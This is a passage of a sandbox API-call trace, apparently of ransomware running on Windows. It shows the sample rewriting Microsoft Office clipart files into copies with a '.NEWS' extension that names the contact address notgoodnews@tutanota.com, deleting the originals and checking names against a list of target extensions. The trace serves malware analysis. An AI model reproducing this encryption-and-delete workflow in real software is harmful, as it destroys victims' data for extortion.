Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0089.949] GetLastError () returned 0x0 [0089.949] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x738, lpOverlapped=0x0) returned 1 [0089.950] WriteFile (in: hFile=0x390, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x740, lpOverlapped=0x0) returned 1 [0089.952] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0089.952] WriteFile (in: hFile=0x390, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0089.952] SetEndOfFile (hFile=0x390) returned 1 [0089.952] CloseHandle (hObject=0x390) returned 1 [0089.952] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.952] SetEndOfFile (hFile=0x2c4) returned 1 [0089.953] CloseHandle (hObject=0x2c4) returned 1 [0089.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0089.953] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf")) returned 1 [0089.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0089.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0089.954] lstrlenW (lpString=".doc") returned 4 [0089.954] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.954] lstrlenW (lpString=".docx") returned 5 [0089.954] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.954] lstrlenW (lpString=".pdf") returned 4 [0089.954] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.954] lstrlenW (lpString=".xls") returned 4 [0089.954] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.954] lstrlenW (lpString=".xlsx") returned 5 [0089.954] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.954] lstrlenW (lpString=".ppt") returned 4 [0089.954] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0089.954] lstrlenW (lpString=".zip") returned 4 [0089.954] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.954] lstrlenW (lpString=".rar") returned 4 [0089.954] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.954] lstrlenW (lpString=".bz2") returned 4 [0089.954] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.954] lstrlenW (lpString=".7z") returned 3 [0089.954] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0089.954] lstrlenW (lpString=".dbf") returned 4 [0089.954] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0089.954] lstrlenW (lpString=".1cd") returned 4 [0089.954] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0089.954] lstrlenW (lpString=".jpg") returned 4 [0089.954] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0089.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0089.954] lstrlenW (lpString=".doc") returned 4 [0089.954] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.955] lstrlenW (lpString=".docx") returned 5 [0089.955] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.955] lstrlenW (lpString=".pdf") returned 4 [0089.955] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.955] lstrlenW (lpString=".xls") returned 4 [0089.955] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.955] lstrlenW (lpString=".xlsx") returned 5 [0089.955] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.955] lstrlenW (lpString=".ppt") returned 4 [0089.955] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0089.955] lstrlenW (lpString=".zip") returned 4 [0089.955] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.955] lstrlenW (lpString=".rar") returned 4 [0089.955] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.955] lstrlenW (lpString=".bz2") returned 4 [0089.955] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.955] lstrlenW (lpString=".7z") returned 3 [0089.955] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0089.955] lstrlenW (lpString=".dbf") returned 4 [0089.955] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0089.955] lstrlenW (lpString=".1cd") returned 4 [0089.955] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0089.955] lstrlenW (lpString=".jpg") returned 4 [0089.955] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.955] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0089.955] lstrlenW (lpString="IN00233_.WMF") returned 12 [0089.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0089.956] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=11190) returned 1 [0089.956] CloseHandle (hObject=0x2c4) returned 1 [0089.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf")) returned 0x220 [0089.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0089.956] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.956] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0089.957] GetLastError () returned 0x0 [0089.957] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x2bb6, lpOverlapped=0x0) returned 1 [0089.958] WriteFile (in: hFile=0x390, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0089.959] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0089.959] WriteFile (in: hFile=0x390, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0089.959] SetEndOfFile (hFile=0x390) returned 1 [0089.960] CloseHandle (hObject=0x390) returned 1 [0089.960] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.960] SetEndOfFile (hFile=0x2c4) returned 1 [0089.961] CloseHandle (hObject=0x2c4) returned 1 [0089.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0089.961] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf")) returned 1 [0089.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0089.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0089.961] lstrlenW (lpString=".doc") returned 4 [0089.961] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.961] lstrlenW (lpString=".docx") returned 5 [0089.961] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.961] lstrlenW (lpString=".pdf") returned 4 [0089.961] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.961] lstrlenW (lpString=".xls") returned 4 [0089.961] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.962] lstrlenW (lpString=".xlsx") returned 5 [0089.962] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.962] lstrlenW (lpString=".ppt") returned 4 [0089.962] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0089.962] lstrlenW (lpString=".zip") returned 4 [0089.962] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.962] lstrlenW (lpString=".rar") returned 4 [0089.962] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.962] lstrlenW (lpString=".bz2") returned 4 [0089.962] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.962] lstrlenW (lpString=".7z") returned 3 [0089.962] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0089.962] lstrlenW (lpString=".dbf") returned 4 [0089.962] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0089.962] lstrlenW (lpString=".1cd") returned 4 [0089.962] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0089.962] lstrlenW (lpString=".jpg") returned 4 [0089.962] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0089.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0089.962] lstrlenW (lpString=".doc") returned 4 [0089.962] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.962] lstrlenW (lpString=".docx") returned 5 [0089.962] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.962] lstrlenW (lpString=".pdf") returned 4 [0089.962] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.962] lstrlenW (lpString=".xls") returned 4 [0089.962] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.962] lstrlenW (lpString=".xlsx") returned 5 [0089.962] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.962] lstrlenW (lpString=".ppt") returned 4 [0089.962] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0089.963] lstrlenW (lpString=".zip") returned 4 [0089.963] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.963] lstrlenW (lpString=".rar") returned 4 [0089.963] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.963] lstrlenW (lpString=".bz2") returned 4 [0089.963] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.963] lstrlenW (lpString=".7z") returned 3 [0089.963] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0089.963] lstrlenW (lpString=".dbf") returned 4 [0089.963] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0089.963] lstrlenW (lpString=".1cd") returned 4 [0089.963] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0089.963] lstrlenW (lpString=".jpg") returned 4 [0089.963] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.963] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0089.963] lstrlenW (lpString="IN00343_.WMF") returned 12 [0089.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0089.964] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=1892) returned 1 [0089.964] CloseHandle (hObject=0x2c4) returned 1 [0089.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf")) returned 0x220 [0089.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0089.966] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.966] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0089.966] GetLastError () returned 0x0 [0089.966] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x764, lpOverlapped=0x0) returned 1 [0089.968] WriteFile (in: hFile=0x390, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x770, lpOverlapped=0x0) returned 1 [0089.969] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0089.969] WriteFile (in: hFile=0x390, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0089.969] SetEndOfFile (hFile=0x390) returned 1 [0089.969] CloseHandle (hObject=0x390) returned 1 [0089.969] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.969] SetEndOfFile (hFile=0x2c4) returned 1 [0089.970] CloseHandle (hObject=0x2c4) returned 1 [0089.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0089.970] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf")) returned 1 [0089.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0089.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0089.970] lstrlenW (lpString=".doc") returned 4 [0089.970] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.970] lstrlenW (lpString=".docx") returned 5 [0089.970] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.970] lstrlenW (lpString=".pdf") returned 4 [0089.970] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.971] lstrlenW (lpString=".xls") returned 4 [0089.971] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.971] lstrlenW (lpString=".xlsx") returned 5 [0089.971] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.971] lstrlenW (lpString=".ppt") returned 4 [0089.971] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0089.971] lstrlenW (lpString=".zip") returned 4 [0089.971] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.971] lstrlenW (lpString=".rar") returned 4 [0089.971] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.971] lstrlenW (lpString=".bz2") returned 4 [0089.971] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.971] lstrlenW (lpString=".7z") returned 3 [0089.971] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0089.971] lstrlenW (lpString=".dbf") returned 4 [0089.971] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0089.971] lstrlenW (lpString=".1cd") returned 4 [0089.971] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0089.971] lstrlenW (lpString=".jpg") returned 4 [0089.971] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0089.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0089.971] lstrlenW (lpString=".doc") returned 4 [0089.971] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.971] lstrlenW (lpString=".docx") returned 5 [0089.971] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.971] lstrlenW (lpString=".pdf") returned 4 [0089.971] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.971] lstrlenW (lpString=".xls") returned 4 [0089.971] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.971] lstrlenW (lpString=".xlsx") returned 5 [0089.972] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.972] lstrlenW (lpString=".ppt") returned 4 [0089.972] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0089.972] lstrlenW (lpString=".zip") returned 4 [0089.972] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.972] lstrlenW (lpString=".rar") returned 4 [0089.972] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.972] lstrlenW (lpString=".bz2") returned 4 [0089.972] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.972] lstrlenW (lpString=".7z") returned 3 [0089.972] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0089.972] lstrlenW (lpString=".dbf") returned 4 [0089.972] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0089.972] lstrlenW (lpString=".1cd") returned 4 [0089.972] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0089.972] lstrlenW (lpString=".jpg") returned 4 [0089.972] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.972] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0089.972] lstrlenW (lpString="IN00346_.WMF") returned 12 [0089.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0089.973] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=696) returned 1 [0089.973] CloseHandle (hObject=0x2c4) returned 1 [0089.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf")) returned 0x220 [0089.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0089.973] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.973] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, 